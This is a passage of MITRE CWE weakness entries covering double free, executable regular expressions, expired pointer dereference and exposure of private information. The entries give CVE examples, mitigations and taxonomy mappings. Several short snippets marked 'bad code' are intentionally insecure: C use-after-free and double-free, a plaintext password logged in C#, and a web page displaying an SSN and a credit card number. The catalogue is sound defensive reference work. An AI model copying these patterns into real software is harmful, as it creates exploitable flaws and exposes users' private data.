free(buf2R1);
free(buf1R2);

}

Observed Examples

Reference	Description
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415).
CVE-2004-0642	Double free resultant from certain error conditions.
CVE-2004-0772	Double free resultant from certain error conditions.
CVE-2005-1689	Double free resultant from certain error conditions.
CVE-2003-0545	Double free from invalid ASN.1 encoding.
CVE-2003-1048	Double free from malformed GIF.
CVE-2005-0891	Double free from malformed GIF.
CVE-2002-0059	Double free from malformed compressed data.

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

Phase: Implementation

Use a static analysis tool to find double free instances.

Detection Methods

Fuzzing

Effectiveness: High

Automated Static Analysis

Effectiveness: High

Affected Resources

Memory

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	398	7PK - Code Quality
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	969	SFP Secondary Cluster: Faulty Memory Release
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1237	SFP Primary Cluster: Faulty Resource Release
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.

Theoretical

It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			DFREE - Double-Free Vulnerability
7 Pernicious Kingdoms			Double Free
CLASP			Doubly freeing memory
CERT C Secure Coding	MEM00-C		Allocate and free memory in the same module, at the same level of abstraction
CERT C Secure Coding	MEM01-C		Store a new value in pointers immediately after free()
CERT C Secure Coding	MEM30-C	CWE More Specific	Do not access freed memory
CERT C Secure Coding	MEM31-C		Free dynamically allocated memory exactly once
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Double Frees", Page 379. 1st Edition. Addison Wesley. 2006.

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-08-01		KDM Analytics
2008-08-01	added/updated white box definitions
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Common_Consequences, Description, Maintenance_Notes, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Other_Notes
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Observed_Examples, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings, White_Box_Definitions
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated References, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Common_Consequences
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Maintenance_Notes, Theoretical_Notes
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Demonstrative_Examples, Observed_Examples
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 624

View customized information:

Description

The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

Extended Description

Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	19	Data Processing Errors

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

PHP (Undetermined Prevalence)

Perl (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Technical Impact: Execute Unauthorized Code or Commands

Observed Examples

Reference	Description
CVE-2006-2059	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace
CVE-2005-3420	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace
CVE-2006-2878	Complex curly syntax inserted into the replacement argument to PHP preg_replace(), which uses the "/e" modifier
CVE-2006-2908	Function allows remote attackers to execute arbitrary PHP code via the username field, which is used in a preg_replace function call with a /e (executable) modifier.

Potential Mitigations

Phase: Implementation

The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in Perl.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Research Gap

Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

Content History

Submissions
Submission Date	Submitter	Organization
2007-05-07 (CWE Draft 6, 2007-05-07)	CWE Content Team	MITRE
2007-05-07 (CWE Draft 6, 2007-05-07)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Relationships, Observed_Example
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Description
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Observed_Examples
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Observed_Examples
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 825

View customized information:

Description

The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.

Extended Description

When a product releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the product to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.

Alternate Terms

Dangling pointer

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	672	Operation on a Resource after Expiration or Release
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	415	Double Free
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	416	Use After Free
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	562	Return of Stack Variable Address
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	125	Out-of-bounds Read
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	787	Out-of-bounds Write

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	465	Pointer Issues

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Memory If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.
Availability	Technical Impact: DoS: Crash, Exit, or Restart If the expired pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

Demonstrative Examples

Example 1

The following code shows a simple example of a use after free error:

(bad code)

Example Language: C

char* ptr = (char*)malloc (SIZE);
if (err) {

abrt = 1;
free(ptr);

}
...
if (abrt) {

logError("operation aborted before commit", ptr);

}

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2

The following code shows a simple example of a double free error:

(bad code)

Example Language: C

char* ptr = (char*)malloc (SIZE);
...
if (abrt) {

free(ptr);

}
...
free(ptr);

Double free vulnerabilities have two common (and sometimes overlapping) causes:

Error conditions and other exceptional circumstances
Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Observed Examples

Reference	Description
CVE-2008-5013	access of expired memory address leads to arbitrary code execution
CVE-2010-3257	stale pointer issue leads to denial of service and possibly other consequences
CVE-2008-0062	Chain: a message having an unknown message type may cause a reference to uninitialized memory resulting in a null pointer dereference (CWE-476) or dangling pointer (CWE-825), possibly crashing the system or causing heap corruption.
CVE-2007-1211	read of value at an offset into a structure after the offset is no longer valid

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	867	2011 Top 25 - Weaknesses On the Cusp
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Terminology

Maintenance

Content History

Submissions
Submission Date	Submitter	Organization
2010-09-22 (CWE 1.10, 2010-09-27)	CWE Content Team	MITRE
2010-09-22 (CWE 1.10, 2010-09-27)
Modifications
Modification Date	Modifier	Organization
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Demonstrative_Examples, Potential_Mitigations, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Relationships
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Alternate_Terms
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Observed_Examples
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Research_Gaps
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Common_Consequences, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 359

View customized information:

Description

Extended Description

There are many types of sensitive information that products must protect from attackers, including system data, communications, configuration, business secrets, intellectual property, and an individual's personal (private) information. Private personal information may include a password, phone number, geographic location, personal messages, credit card number, etc. Private information is important to consider whether the person is a user of the product, or part of a data set that is processed by the product. An exposure of private information does not necessarily prevent the product from working properly, and in fact the exposure might be intended by the developer, e.g. as part of data sharing with other organizations. However, the exposure of personal private information can still be undesirable or explicitly prohibited by law or regulation.

Some types of private information include:

Government identifiers, such as Social Security Numbers
Contact information, such as home addresses and telephone numbers
Geographic location - where the user is (or was)
Employment history
Financial data - such as credit card numbers, salary, bank accounts, and debts
Pictures, video, or audio
Behavioral patterns - such as web surfing history, when certain activities are performed, etc.
Relationships (and types of relationships) with others - family, friends, contacts, etc.
Communications - e-mail addresses, private messages, text messages, chat logs, etc.
Health - medical conditions, insurance status, prescription records
Account passwords and other credentials

Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry.

Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

Alternate Terms

Privacy violation
Privacy leak
Privacy leakage

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	200	Exposure of Sensitive Information to an Unauthorized Actor

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	199	Information Management Errors

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1011	Authorize Actors

Modes Of Introduction

Phase	Note
Architecture and Design	OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
Operation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data

Demonstrative Examples

Example 1

The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.

(bad code)

Example Language: C#

pass = GetPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.

Example 2

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

(bad code)

Example Language: XML

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

(bad code)

Example Language: Java

locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

Example 3

In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [REF-338]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.

Potential Mitigations

Phase: Requirements

Identify and consult all relevant regulations for personal privacy. An organization may be required to comply with certain federal and state regulations, depending on its location, the type of business it conducts, and the nature of any private data it handles. Regulations may include Safe Harbor Privacy Framework [REF-340], Gramm-Leach Bliley Act (GLBA) [REF-341], Health Insurance Portability and Accountability Act (HIPAA) [REF-342], General Data Protection Regulation (GDPR) [REF-1047], California Consumer Privacy Act (CCPA) [REF-1048], and others.

Phase: Architecture and Design

Carefully evaluate how secure design may interfere with privacy, and vice versa. Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

Detection Methods

Architecture or Design Review

Private personal data can enter a program in a variety of ways:

Directly from the user in the form of a password or personal information

Accessed from a database or other data store by the application

Indirectly from a partner or other third party

If the data is written to an external location - such as the console, file system, or network - a privacy violation may occur.

Effectiveness: High

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	254	7PK - Security Features
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	975	SFP Secondary Cluster: Architecture
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1417	Comprehensive Categorization: Sensitive Information Exposure

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Maintenance

This entry overlaps many other entries that are not organized around the kind of sensitive information that is exposed. However, because privacy is treated with such importance due to regulations and other factors, and it may be useful for weakness-finding tools to highlight capabilities that detect personal private information instead of system information, it is not clear whether - and how - this entry should be deprecated.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Privacy Violation
The CERT Oracle Secure Coding Standard for Java (2011)	FIO13-J		Do not log sensitive information outside a trust boundary

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-464	Evercookie
CAPEC-467	Cross Site Identification
CAPEC-498	Probe iOS Screenshots
CAPEC-508	Shoulder Surfing

References

[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.

[REF-338] J. Oates. "AOL man pleads guilty to selling 92m email addies". The Register. 2005. <https://www.theregister.com/2005/02/07/aol_email_theft/>. URL validated: 2023-04-07.

[REF-339] NIST. "Guide to Protecting the Confidentiality of Personally Identifiable Information (SP 800-122)". 2010-04. <https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-122.pdf>. URL validated: 2023-04-07.

[REF-340] U.S. Department of Commerce. "Safe Harbor Privacy Framework". <https://web.archive.org/web/20010223203241/http://www.export.gov/safeharbor/>. URL validated: 2023-04-07.

[REF-341] Federal Trade Commission. "Financial Privacy: The Gramm-Leach Bliley Act (GLBA)". <https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act>. URL validated: 2023-04-07.

[REF-342] U.S. Department of Human Services. "Health Insurance Portability and Accountability Act (HIPAA)". <https://www.hhs.gov/hipaa/index.html>. URL validated: 2023-04-07.

[REF-343] Government of the State of California. "California SB-1386". 2002. <http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html>.

[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.

[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.

[REF-1047] Wikipedia. "General Data Protection Regulation". <https://en.wikipedia.org/wiki/General_Data_Protection_Regulation>.

[REF-1048] State of California Department of Justice, Office of the Attorney General. "California Consumer Privacy Act (CCPA)". <https://oag.ca.gov/privacy/ccpa>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	7 Pernicious Kingdoms
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Other_Notes
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Demonstrative_Examples
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Other_Notes, References
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Other_Notes, References
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Other_Notes
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Other_Notes, References
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Applicable_Platforms, References
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Alternate_Terms, Demonstrative_Examples, Description, Name, Other_Notes, References
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Modes_of_Introduction, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Potential_Mitigations, References, Relationships, Type
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Related_Attack_Patterns
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated References
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Related_Attack_Patterns
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2014-02-18	Privacy Violation

2020-02-24	Exposure of Private Information ('Privacy Violation')

Weakness ID: 213

View customized information:

Description

Extended Description

When handling information, the developer must consider whether the information is regarded as sensitive by different stakeholders, such as users or administrators. Each stakeholder effectively has its own intended security policy that the product is expected to uphold. When a developer does not treat that information as sensitive, this can introduce a vulnerability that violates the expectations of the product's users.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	200	Exposure of Sensitive Information to an Unauthorized Actor

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	199	Information Management Errors

Modes Of Introduction

Phase	Note
Policy	This can occur when the product's policy does not account for all relevant stakeholders, or when the policies of other stakeholders are not interpreted properly.
Requirements	This can occur when requirements do not explicitly account for all relevant stakeholders.
Architecture and Design	Communications or data exchange frameworks may be chosen that exchange or provide access to more information than strictly needed.
Implementation	This can occur when the developer does not properly track the flow of sensitive information and how it is exposed, e.g., via an API.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data

Demonstrative Examples

Example 1

This code displays some information on a web page.

(bad code)

Example Language: JSP

Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

Observed Examples

Reference	Description
CVE-2002-1725	Script calls phpinfo()
CVE-2004-0033	Script calls phpinfo()
CVE-2003-1181	Script calls phpinfo()
CVE-2004-1422	Script calls phpinfo()
